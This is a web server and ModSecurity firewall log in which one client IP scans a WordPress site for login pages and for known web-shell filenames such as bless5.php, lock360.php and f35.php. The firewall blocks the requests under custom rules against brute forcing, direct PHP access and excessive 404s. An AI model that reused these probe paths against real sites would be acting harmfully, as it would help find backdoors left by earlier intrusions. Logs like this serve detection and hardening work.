[Sun Jan 04 18:56:54.322539 2026] [:error] [pid 47095:tid 47136] [client 4.217.232.248:20526] [client 4.217.232.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.232.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVpHdr4vyPZCmfGyjmp2qAAAAcw"]
[Sun Jan 04 18:57:01.748121 2026] [autoindex:error] [pid 47095:tid 47133] [client 4.217.232.248:20526] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 18:57:12.697431 2026] [:error] [pid 54983:tid 55003] [client 4.217.232.248:23147] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVpHiCj1D7W9ekfwAOfmXQAAAZA"]
[Sun Jan 04 18:57:27.250027 2026] [autoindex:error] [pid 51271:tid 51297] [client 4.217.232.248:24663] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 18:57:31.197638 2026] [:error] [pid 54985:tid 55054] [client 4.217.232.248:29536] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVpHm58J2n8riTLGXUcr6QAAA0w"]
[Sun Jan 04 18:57:34.214120 2026] [:error] [pid 51271:tid 51280] [client 4.217.232.248:29087] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVpHnk6lEeK0FXEoMJka6gAAAoY"]
[Sun Jan 04 18:57:35.526867 2026] [:error] [pid 51328:tid 51357] [client 4.217.232.248:47898] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVpHnyMWRuZOO8ezt_3_hAAAAxg"]
[Sun Jan 04 18:57:36.279804 2026] [:error] [pid 54983:tid 54992] [client 4.217.232.248:28559] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVpHoCj1D7W9ekfwAOfmfAAAAYU"]
[Sun Jan 04 18:57:38.375627 2026] [:error] [pid 51328:tid 51339] [client 4.217.232.248:42105] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVpHoiMWRuZOO8ezt_3_hgAAAwY"]
[Sun Jan 04 18:57:39.965001 2026] [:error] [pid 51238:tid 51261] [client 4.217.232.248:44486] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVpHoyTcdgLoN6wImqeNFwAAAlU"]
[Sun Jan 04 18:57:42.298241 2026] [:error] [pid 47095:tid 47131] [client 4.217.232.248:29631] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVpHpr4vyPZCmfGyjmp24QAAAcc"]
[Sun Jan 04 18:57:44.226479 2026] [:error] [pid 47095:tid 47145] [client 4.217.232.248:29586] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVpHqL4vyPZCmfGyjmp26AAAAdU"]
[Sun Jan 04 18:57:46.932621 2026] [:error] [pid 51328:tid 51349] [client 4.217.232.248:12015] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVpHqiMWRuZOO8ezt_3_iQAAAxA"]
[Sun Jan 04 18:57:48.308858 2026] [:error] [pid 15480:tid 15489] [client 4.217.232.248:44520] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVpHrBBWKIu3SdvwTFipIAAAAIc"]
[Sun Jan 04 18:57:49.775608 2026] [:error] [pid 15480:tid 15501] [client 4.217.232.248:49825] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVpHrRBWKIu3SdvwTFipJgAAAJM"]
[Sun Jan 04 18:57:50.860256 2026] [:error] [pid 54892:tid 54914] [client 4.217.232.248:29613] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVpHrjQuH9c6y3HhHGsYdwAAAFI"]
[Sun Jan 04 18:57:51.883673 2026] [:error] [pid 15480:tid 15483] [client 4.217.232.248:33420] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVpHrxBWKIu3SdvwTFipKgAAAIE"]
[Sun Jan 04 18:57:53.342528 2026] [:error] [pid 54983:tid 55009] [client 4.217.232.248:49801] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVpHsSj1D7W9ekfwAOfmhQAAAZY"]
[Sun Jan 04 18:57:54.271410 2026] [:error] [pid 15480:tid 15505] [client 4.217.232.248:21658] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVpHshBWKIu3SdvwTFipLwAAAJc"]
[Sun Jan 04 18:57:55.578019 2026] [:error] [pid 47095:tid 47144] [client 4.217.232.248:44469] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVpHs74vyPZCmfGyjmp29AAAAdQ"]
[Sun Jan 04 18:57:56.552414 2026] [:error] [pid 51238:tid 51261] [client 4.217.232.248:22032] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVpHtCTcdgLoN6wImqeNIwAAAlU"]
[Sun Jan 04 18:57:58.729661 2026] [:error] [pid 54985:tid 55057] [client 4.217.232.248:44474] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVpHtp8J2n8riTLGXUcsAwAAA08"]
[Sun Jan 04 18:57:59.557274 2026] [:error] [pid 51238:tid 51259] [client 4.217.232.248:45382] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVpHtyTcdgLoN6wImqeNKQAAAlM"]
[Sun Jan 04 18:58:00.622423 2026] [:error] [pid 54985:tid 55051] [client 4.217.232.248:22017] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVpHuJ8J2n8riTLGXUcsBAAAA0k"]
[Sun Jan 04 18:58:01.370071 2026] [:error] [pid 47095:tid 47141] [client 4.217.232.248:22454] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVpHub4vyPZCmfGyjmp29QAAAdE"]
[Sun Jan 04 18:58:04.533756 2026] [:error] [pid 54983:tid 55010] [client 4.217.232.248:49912] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVpHvCj1D7W9ekfwAOfmjgAAAZc"]
[Sun Jan 04 18:58:06.213898 2026] [:error] [pid 51328:tid 51344] [client 4.217.232.248:30084] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVpHviMWRuZOO8ezt_3_jwAAAws"]
[Sun Jan 04 18:58:07.098529 2026] [:error] [pid 15480:tid 15497] [client 4.217.232.248:33361] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVpHvxBWKIu3SdvwTFipOQAAAI8"]
[Sun Jan 04 18:58:08.201242 2026] [:error] [pid 51328:tid 51353] [client 4.217.232.248:32916] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVpHwCMWRuZOO8ezt_3_kQAAAxQ"]
[Sun Jan 04 18:58:09.145925 2026] [:error] [pid 47095:tid 47133] [client 4.217.232.248:22517] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVpHwb4vyPZCmfGyjmp2-wAAAck"]
[Sun Jan 04 18:58:10.522852 2026] [:error] [pid 47095:tid 47147] [client 4.217.232.248:21283] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVpHwr4vyPZCmfGyjmp2_AAAAdc"]
[Sun Jan 04 18:58:11.671867 2026] [:error] [pid 51238:tid 51263] [client 4.217.232.248:48988] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVpHwyTcdgLoN6wImqeNPgAAAlc"]
[Sun Jan 04 18:58:13.538201 2026] [:error] [pid 15480:tid 15500] [client 4.217.232.248:48910] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVpHxRBWKIu3SdvwTFipPgAAAJI"]
[Sun Jan 04 18:58:15.117994 2026] [:error] [pid 15480:tid 15486] [client 4.217.232.248:22475] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVpHxxBWKIu3SdvwTFipSQAAAIQ"]
[Sun Jan 04 18:58:16.261023 2026] [:error] [pid 54983:tid 54994] [client 4.217.232.248:37451] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVpHyCj1D7W9ekfwAOfmkAAAAYc"]
[Sun Jan 04 18:58:17.353023 2026] [:error] [pid 54892:tid 54919] [client 4.217.232.248:38695] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVpHyTQuH9c6y3HhHGsYlQAAAFc"]
[Sun Jan 04 18:58:19.714874 2026] [:error] [pid 54983:tid 55005] [client 4.217.232.248:33931] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVpHyyj1D7W9ekfwAOfmkgAAAZI"]
[Sun Jan 04 18:58:22.890350 2026] [:error] [pid 54924:tid 54978] [client 4.217.232.248:33902] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVpHziui7g9GJY9Xm_5BwAAAAVg"]
[Sun Jan 04 18:58:24.572181 2026] [:error] [pid 15480:tid 15491] [client 4.217.232.248:31746] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVpH0BBWKIu3SdvwTFipUgAAAIk"]
[Sun Jan 04 18:58:25.750186 2026] [:error] [pid 54924:tid 54973] [client 4.217.232.248:32853] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVpH0Sui7g9GJY9Xm_5BwwAAAVM"]
[Sun Jan 04 18:59:10.154999 2026] [:error] [pid 47095:tid 47126] [client 4.217.232.248:33975] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVpH_r4vyPZCmfGyjmp3RQAAAcI"]
[Sun Jan 04 18:59:13.181836 2026] [:error] [pid 54983:tid 55004] [client 4.217.232.248:39181] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVpIASj1D7W9ekfwAOfmqQAAAZE"]
[Sun Jan 04 18:59:13.592234 2026] [:error] [pid 54983:tid 55007] [client 4.217.232.248:31748] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVpIASj1D7W9ekfwAOfmrAAAAZQ"]
[Sun Jan 04 18:59:14.816448 2026] [:error] [pid 47095:tid 47129] [client 4.217.232.248:44918] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aVpIAr4vyPZCmfGyjmp3SQAAAcU"]
[Sun Jan 04 18:59:16.631326 2026] [:error] [pid 54983:tid 54995] [client 4.217.232.248:31785] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVpIBCj1D7W9ekfwAOfmrwAAAYg"]
[Sun Jan 04 18:59:18.246637 2026] [:error] [pid 54983:tid 54997] [client 4.217.232.248:22771] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVpIBij1D7W9ekfwAOfmsgAAAYo"]
[Sun Jan 04 18:59:19.760935 2026] [:error] [pid 1080:tid 1163] [client 4.217.232.248:31778] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVpIByu2Hm9AcIiqg0rCjgAAA9g"]
[Sun Jan 04 18:59:21.304147 2026] [:error] [pid 15480:tid 15488] [client 4.217.232.248:44920] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aVpICRBWKIu3SdvwTFipcwAAAIY"]
[Sun Jan 04 18:59:23.613154 2026] [:error] [pid 51328:tid 51338] [client 4.217.232.248:33940] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVpICyMWRuZOO8ezt_3_5wAAAwU"]
[Sun Jan 04 18:59:26.007638 2026] [:error] [pid 15480:tid 15499] [client 4.217.232.248:38704] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVpIDhBWKIu3SdvwTFipewAAAJE"]
[Sun Jan 04 18:59:28.055850 2026] [:error] [pid 51238:tid 51255] [client 4.217.232.248:38697] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVpIECTcdgLoN6wImqeNeQAAAk8"]
[Sun Jan 04 18:59:30.830721 2026] [:error] [pid 54983:tid 54993] [client 4.217.232.248:33962] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aVpIEij1D7W9ekfwAOfmuQAAAYY"]
[Sun Jan 04 18:59:31.903436 2026] [:error] [pid 54983:tid 55002] [client 4.217.232.248:22524] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVpIEyj1D7W9ekfwAOfmvgAAAY8"]
[Sun Jan 04 18:59:33.347329 2026] [:error] [pid 54985:tid 55043] [client 4.217.232.248:37443] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVpIFZ8J2n8riTLGXUcsUgAAA0E"]
[Sun Jan 04 18:59:34.476112 2026] [:error] [pid 15480:tid 15489] [client 4.217.232.248:40739] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVpIFhBWKIu3SdvwTFipfgAAAIc"]
[Sun Jan 04 18:59:36.860350 2026] [:error] [pid 1080:tid 1161] [client 4.217.232.248:22435] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVpIGCu2Hm9AcIiqg0rCoAAAA9Y"]
